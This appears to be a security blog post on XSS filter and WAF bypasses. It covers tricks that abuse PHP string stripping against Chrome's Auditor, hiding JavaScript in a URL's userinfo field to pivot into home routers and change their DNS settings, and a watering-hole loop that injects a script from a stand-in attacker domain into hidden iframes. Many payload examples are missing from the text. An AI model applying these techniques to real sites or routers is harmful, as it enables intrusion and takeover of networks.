The Easiest Way to Bypass XSS Mitigations

The most straightforward and reliable way to bypass any protection between a tester/attacker and a target application is to use some filtering practices against these very protections.

For a security reason or not, a developer makes some sort of filtering in his/her own code without realizing it can be used to trick any other device or code that will stand between his own and user of application. In this post we will see this affecting a WAF (Web Application Firewall) and a browser anti-XSS filter, both common mitigation solutions.

By using language native or custom functions, a developer can strip or replace what he/she thinks is a dangerous (or unnecessary) character or string. So let’s first see what happens when an application strips spaces from user input.

Here is a PHP page with reflections of 2 URL parameters, “p” and “q”. The first one, “p”, is just a simple

echo $_GET[“p”];

and then, because this page is not whitelisted in my WAF (Web Application Firewall) settings, we are not able to exploit this flaw in a common situation like we can see below. In fact, this (excellent) security solution from Sucuri, named CloudProxy, can detect the XSS attempt even without the alert(1) part, with just a “<svg onload=” input.


The second parameter, “q”, is there to exemplify the bypass. Here is its PHP code:

echo str_replace(“ ”, “”, $_GET[“q”]);

which replaces any white spaces from input. This is enough to trick CloudProxy and XSS Auditor, Google Chrome’s mitigation solution, at the same time.


By adding “+”, usually parsed as white spaces by applications, in strategic places of vector/payload, both security solutions fail because of stripping of a single character. No WAF can see this as a XSS attack because “<” is not immediately followed by a alphabetic character and Auditor can’t see this as similar enough to what is reflected in source, the way this solution uses to catch XSS attempts.

They stand between what is sent by an attacker and what is really echoed back by application, which is not necessarily the same. Without a minimum match there’s no way to identify it as malicious.

Another way to use application against security measures is by abusing char/string replaces. Here is another page, this time with 4 URL parameters, “p”, “q”, “r” and “s”. This page is white listed in WAF settings, because none of these will be enough to bypass it: the presence of this replaced string (“<script”) in every request triggers WAF blocking. But it will work against Auditor.

echo $_GET[“p”];
echo str_ireplace(“<script”, “”, $_GET[“q”]);
echo str_ireplace(“<script”,“InvalidTag”, $_GET[“r”]);
echo str_ireplace(“<script”,“<InvalidTag”, $_GET[“s”]);

As we can see below, using the “p” parameter, Auditor catches it easily.


With “q” parameter, we can see “<script” being stripped.


So by using it right where it would confuse Auditor (in the middle of “on” of event handler), we can alert it.


In the “r” parameter, the replacing issue is “fixed”. A developer replaces it with a harmless string (like we can see in the wild), that mess with our previous construction.


So we try to use the replaced string (“InvalidTag”) as a javascript string. But doing it in the wrong way, browser throws an error (in red).


That’s because we are passing to event handler only the string, enclosed by quotes. This is the standard way to assign values to attributes in HTML, so javascript parsing stops in the second quote and there’s no “InvalidTag” defined. So we try to fix the syntax.


It doesn’t work. It becomes too obvious for Auditor to catch it. But what if we try the ES6 way to enclose javascript strings?


Nice. Another interesting way to do this, though not universally applicable as the previous one (because it can’t accept special chars), follows.



Using the replaced string as a label, it’s also possible to alert in a very elegant way.

Unfortunately, none of the above replacing tricks can be used with the last parameter, “s”. Auditor seems to flag the input due to presence of “<” character  in both request and response.


But, developers beware: this can’t be considered an anti- XSS solution, even if employed against all HTML tags (with a regex, for example). It opens another door to a tester/attacker by using the resulting “<InvalidTag” string with any of the agnostic event handlers to form a new attacking vector.



XSS Authority Abuse

In the beginning of an URL lies an overlooked place useful to hide things from server logs. It’s the authentication part of the authority section. Check the full URL scheme below.


Differently from the fragment part, where we can use document properties like location.hash to store things that will never be sent to server, the user information will be sent but will not figure in logs for security reasons.

So it becomes another good place to put javascript code:


Using an slice of the string returned by window.URL property, starting from char 7 to char 15, we pass to eval() the string we want to execute. For a https enabled website, the right combination would be 8 and 16, respectively.

Although there’s a security warning in Firefox (but not in Chrome), the statement about the domain to visit ( may lead user to a wrong conclusion.


After it, there will be no trace of what really happened in browser address bar.


The same can be done with the location property of document if eval() is not available.


But much more harmful is to use this ability to actually do some kind of authentication. Because the victim of a XSS attack can perform requests to internal IP addresses, it’s possible to pivot to devices accessible only to the victim.

Most SOHO (Small Office / Home Office) routers are usually vulnerable to login attacks over this channel, so all an attacker has to do is to guess the right one in a small list of common default credentials. After, he/she proceeds with a basic CSRF attack to add his own DNS server to router configuration achieving total control over the victim’s network. But latest Firefox (version 48) is smart enough to stop automation and warn the user about it.


The same can’t be said about latest Chrome (version 52). It has no security warning again.

Click here to test your own router (Firefox or Chrome). If after clicking on “click me” your router dashboard appears, you may be in serious trouble.


Reflected in Watering Hole

Cross-site scripting becomes much more dangerous when used with another attack strategy. One of them is called Watering Hole and it’s better explained with the infographic below by Symantec:


Content Management Systems (CMS), very popular in the web, are perfect targets to XSS exploitations due to its standardization. The same code is running in a lot of sites like we can see in W3Techs and BuiltWith statistics. This can easily lead to mass compromise.

In XSS to RCE – using WordPress as an example by Riyaz Walikarwe can see in details how to use an XSS vulnerability to get a web shell in current WordPress. His post is based in the following set of tweets, which in turn are a minification of James Hooker‘s work XSS and WordPress – The Aftermath.

If an WordPress administrator is logged and get XSSed, attacker is able to run commands in the underlying server. This becomes pretty easy if a vulnerability is a stored one. But with a reflected XSS attack, usually people think they need to click on a link, by means of phishing or a social network sharing.

In fact, an admin (or everyone else) doesn’t need to click on a link if there’s a reflected XSS vulnerability in the domain where WP is installed (inside or outside the installation). If an attacker is able to infect a site where he/she visits (watering hole), it’s possible to make he/she executes the XSS payload in the context of the affected domain.

An attacker can build a list of sites vulnerable to the latest reflected XSS disclosed and use the following script to load each one into invisible iframes in an attempt to hit a victim with it:


for(i=0; i<targets.length; i++){
f.src=’//’+targets[i]+’/PATH/PAGE?PARAM=<script src=//DOMAIN/xss2rce.js>’;

This simply defines a list of targets (,, etc) and iterates through them to create hidden iframe (style=display:none) elements with source being the relative path to vulnerable page, along with the respective payload loading the script for the CMS assault (xss2rce.js).

He/she then finds a vulnerability on a site commonly accessed by targeted admins, like a CMS forum or a website of a theme/plugin maker and infects it with a stored XSS or via SQL injection (or any takeover technique). The longer the target list is, the greater the chances of making an incautious admin create a web shell for the attacker.

Here is an example of the idea exposed above:


It was still vulnerable live to the time of this publishing.


P.S: as pointed out by the very author of the highlighted 3rd party component in Joomla! website (SobiPro), Radek Suski, this is not a real vulnerability (it was there just to illustrate anyway).